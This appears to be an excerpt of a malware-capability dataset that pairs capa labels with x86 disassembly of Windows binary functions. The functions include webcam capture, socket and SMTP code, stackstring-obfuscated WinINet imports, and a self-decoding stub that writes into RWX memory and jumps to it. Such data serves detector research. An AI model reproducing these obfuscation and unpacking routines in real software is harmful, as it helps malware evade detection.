joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44fbd0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.0044fd20
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x44fbf0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x44fbd1
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.0044fd20
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x44fbf0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x44fc20
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x44fc77
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x44fc8d
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.0044fcb0
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x44fcb0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x44fd40
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x44fd89
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x4503d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x483be0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0044fdb0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0044fe30
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0044fe30
lea ecx, [esi + 0xc]
call fcn.004731c8
lea ecx, [esi + 0x10]
call fcn.004731c8
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004529b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004529b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004529b0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0047323d
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0047323d
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4511f8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x483e08
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x451208
call fcn.00451720
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x4512eb
cmp byte [edi], 0
je 0x4512eb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x45122d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.0044fbd0
test eax, eax
jne 0x45124d
push 0x4c3470
lea ecx, [esi + 0x38]
call fcn.004733c6
jmp 0x4512eb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.0044fc20
test eax, eax
jne 0x45127c
mov ecx, esi
call fcn.0044fd20
push edi
add esi, 0x38
push 0x4c344c
push esi
call fcn.00470947
add esp, 0xc
jmp 0x4512eb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.00451fa0
test eax, eax
je 0x4512e4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004513c0
test eax, eax
jne 0x451300
push edi
lea eax, [esi + 0x38]
push 0x4c3428
push eax
call fcn.00470947
add esp, 0xc
mov ecx, esi
call fcn.00451720
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4513a8
mov ecx, dword [0x4c430c]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.00470947
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.0044fcd0
test eax, eax
jne 0x45136a
push 0x4c340c
lea ecx, [esi + 0x38]
call fcn.004733c6
jmp 0x45137a
push 0xfa
mov ecx, esi
call fcn.00451fa0
test eax, eax
jne 0x451397
mov ecx, esi
call fcn.00451720
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047323d
jmp 0x4512eb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047323d
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x455b80
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x455c23
test eax, eax
jbe 0x455c23
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x455c23
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x455bce
xor esi, esi
jmp 0x455bd4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x455bff
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004594e0
add esi, eax
push esi
mov ebx, esi
call fcn.004594e0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x455be0
pop ebp
test edi, edi
pop edi
jne 0x455c23
test ebx, ebx
je 0x455c23
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00462ef0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x455d65
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x455e7d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x455e7d
mov eax, dword [esi + 0x3c]
push eax
call fcn.00474c8c
mov esi, eax
test esi, esi
je 0x455e7d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x455e7d
mov ecx, esi
call fcn.00455cd0
cmp edi, eax
jge 0x455e7d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x455e03
mov dword [esp + 0x34], 1
jmp 0x455e5e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x455e7d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00455280
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x475630
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x475668
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004736e4
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004736bc
jmp 0x475674
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x476d1e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x476d60
call fcn.0047cbb9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x476d60
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x476d57
xor eax, eax
jmp 0x476d68
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00476d6e
pop edi
pop esi
pop ebx
ret 4

Function at 0x47d0e9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47d117
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47d135
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047d04f
jmp 0x47d135
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47d135
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047d04f
test edi, edi
mov eax, edi
jne 0x47d11f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4047c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
push ebx
push esi
mov esi, ecx
lea eax, [esp + 0x28]
mov bl, 0x65
push eax
mov ecx, dword [esi + 0x1e8]
mov byte [esp + 0x2c], 0x49
push ecx
mov byte [esp + 0x31], 0x6e
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x72
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], 0x4f
mov byte [esp + 0x39], 0x70
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x55
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], 0
call dword [esi + 0x270]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x1e8]
lea edx, [esp + 8]
mov byte [esp + 8], 0x49
push edx
push eax
mov byte [esp + 0x11], 0x6e
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x74
mov byte [esp + 0x18], 0x4f
mov byte [esp + 0x19], 0x70
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1d], 0
call dword [esi + 0x270]
mov edx, dword [esi + 0x1e8]
lea ecx, [esp + 0x3c]
push ecx
push edx
mov dword [esi], eax
mov byte [esp + 0x44], 0x49
mov byte [esp + 0x45], 0x6e
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x49], 0x6e
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x52
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x61
mov byte [esp + 0x4f], 0x64
mov byte [esp + 0x50], 0x46
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0
call dword [esi + 0x270]
mov dword [esi + 8], eax
mov byte [esp + 0x50], 0x49
mov byte [esp + 0x51], 0x6e
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x43
mov byte [esp + 0x59], 0x6c
mov byte [esp + 0x5a], 0x6f
mov ecx, dword [esi + 0x1e8]
lea eax, [esp + 0x50]
push eax
push ecx
mov byte [esp + 0x63], 0x73
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x48
mov byte [esp + 0x66], 0x61
mov byte [esp + 0x67], 0x6e
mov byte [esp + 0x68], 0x64
mov byte [esp + 0x69], 0x6c
mov byte [esp + 0x6a], bl
mov byte [esp + 0x6b], 0
call dword [esi + 0x270]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x1e8]
lea edx, [esp + 0x18]
mov byte [esp + 0x18], 0x48
push edx
push eax
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x51
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x49
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0x66
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0
call dword [esi + 0x270]
mov dword [esi + 0x10], eax
pop esi
mov eax, 1
pop ebx
add esp, 0x5c
ret
Function at 0x4049d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov al, 0x74
mov cl, 0x65
mov byte [esp + 6], al
mov byte [esp + 0xb], al
mov byte [esp + 5], cl
mov byte [esp + 0xc], cl
mov ecx, dword [esi + 0x1fc]
lea eax, [esp + 4]
push eax
push ecx
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xf], 0x41
mov byte [esp + 0x10], 0x64
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x70
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], 0x73
mov byte [esp + 0x17], 0x49
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], 0x66
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0
call dword [esi + 0x270]
mov dword [esi + 0x14], eax
mov eax, 1
pop esi
add esp, 0x10
ret

Function at 0x404a50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x69
push esi
mov esi, ecx
mov byte [esp + 9], al
mov byte [esp + 0xd], al
mov al, 0x65
mov cl, 0x46
mov byte [esp + 0xf], al
mov byte [esp + 0x13], al
mov byte [esp + 8], cl
mov byte [esp + 0xc], cl
mov ecx, dword [esi + 0x210]
lea eax, [esp + 4]
mov dl, 0x61
push eax
push ecx
mov byte [esp + 0xc], 0x50
mov byte [esp + 0xd], dl
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x68
mov byte [esp + 0x12], 0x6e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x18], 0x4e
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1d], 0
call dword [esi + 0x270]
mov dword [esi + 0x18], eax
mov eax, 1
pop esi
add esp, 0x14
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x404d5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x404d6c
pop dword [ebp - 0x1c]
mov eax, 0xffe67032
add eax, 0x59dd3a
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x43ccbbc8
add dword [ebp - 0x2c], 0xa858983
mov dword [ebp - 0x28], 0x2ac75e40
add dword [ebp - 0x28], 0x76bee05
mov dword [ebp - 0x24], 0x563021c1
sub dword [ebp - 0x24], 0x9e3dd93
mov dword [ebp - 0x20], 0x6eda3ef4
sub dword [ebp - 0x20], 0x6eda3ef4
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5671ccb8
sub dword [ebp - 0x2c], 0xe1ff6362
mov dword [ebp - 0x28], 0xaf571b1
add dword [ebp - 0x28], 0x3676efc4
mov dword [ebp - 0x24], 0xa575f0de
sub dword [ebp - 0x24], 0x42068472
mov dword [ebp - 0x20], 0x2c955bc9
sub dword [ebp - 0x20], 0x2c955bc9
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x1959e728
sub eax, 0x191916e0
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x38f2b
push 0
call eax
mov ecx, 0x98f51ee7
sub ecx, 0x98f4d8ea
xor edi, edi
add edi, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x1c]
mov esi, 0x5710da37
add esi, 0xb84f4aee
xor dword [ebp - 8], 0xc6c69696
mov edx, dword [ebx]
add dword [ebp - 8], 0xc3a35f2e
add edx, esi
mov dword [ebp - 0x18], 0x223e0e1
mov dword [edi], edx
sub dword [ebp - 0xc], 0xe61541c1
add edi, 4
add ebx, 4
loop 0x404e85
add eax, 0x4a02773d
sub eax, 0x4a016c76
mov ebx, eax
add eax, 5
mov ecx, 0xe5856bc1
sub ecx, 0xe5456bc1
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x402f98
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x44d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403030
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403010
xor eax, eax
push ebp
push 0x403009
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40304c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403010
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x44d020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x44d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cdc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x44f048], 0
je 0x403d3d
cmp word [0x44f21c], 0xd7b2
jne 0x403d05
cmp dword [0x44f224], 0
jbe 0x403d05
mov eax, 0x44f218
call dword [0x44f234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x44d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d64
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x44d030], 0
jne 0x403d59
push 0
push 0x44d064
push 0x44d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4059b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405a16
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004040c8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b5c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405a00
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a1d
lea eax, [ebp - 0x10]
call fcn.00403e58
ret

Function at 0x407fbc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404318
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x407fd5
test al, 0x10
jne 0x407fd9
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40a908
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a941
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f48
jmp 0x40a94a
mov eax, ebx
mov edx, esi
call fcn.00403eac
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a954
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a975
mov al, byte [esp]
jmp 0x40a977
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40affc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ae74
mov eax, dword [0x44e008]
cmp byte [eax], 0
je 0x40b078
mov eax, dword [0x44de34]
call fcn.004029c8
call fcn.00402834
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040817c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b0c0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b0ae
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44dde4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44f664]
call fcn.00404ec4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b914
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b9ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403ef0
lea eax, [ebp - 8]
call fcn.00404368
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404318
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40b9d4
mov eax, ebx
call fcn.004026cc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40b9cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404318
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40b9b7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40b9fc
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40b9b7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9d4
mov eax, dword [ebp - 0x10]
call fcn.004026ec
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9f1
lea eax, [ebp - 8]
call fcn.00403e58
ret

Function at 0x40be68
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40becc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004040c8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407cb4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bed3
lea eax, [ebp - 0xc]
call fcn.00403e58
ret

Function at 0x41a060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x44f884
cmp dword [edi], 0
jne 0x41a0dc
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x44f880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44d3e8
mov ecx, 2
call fcn.00402900
mov edx, 0x41a038
lea eax, [esi + 5]
call fcn.0041a058
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a058
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a0b1
mov dword [0x44f880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b2f0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b2f6
ret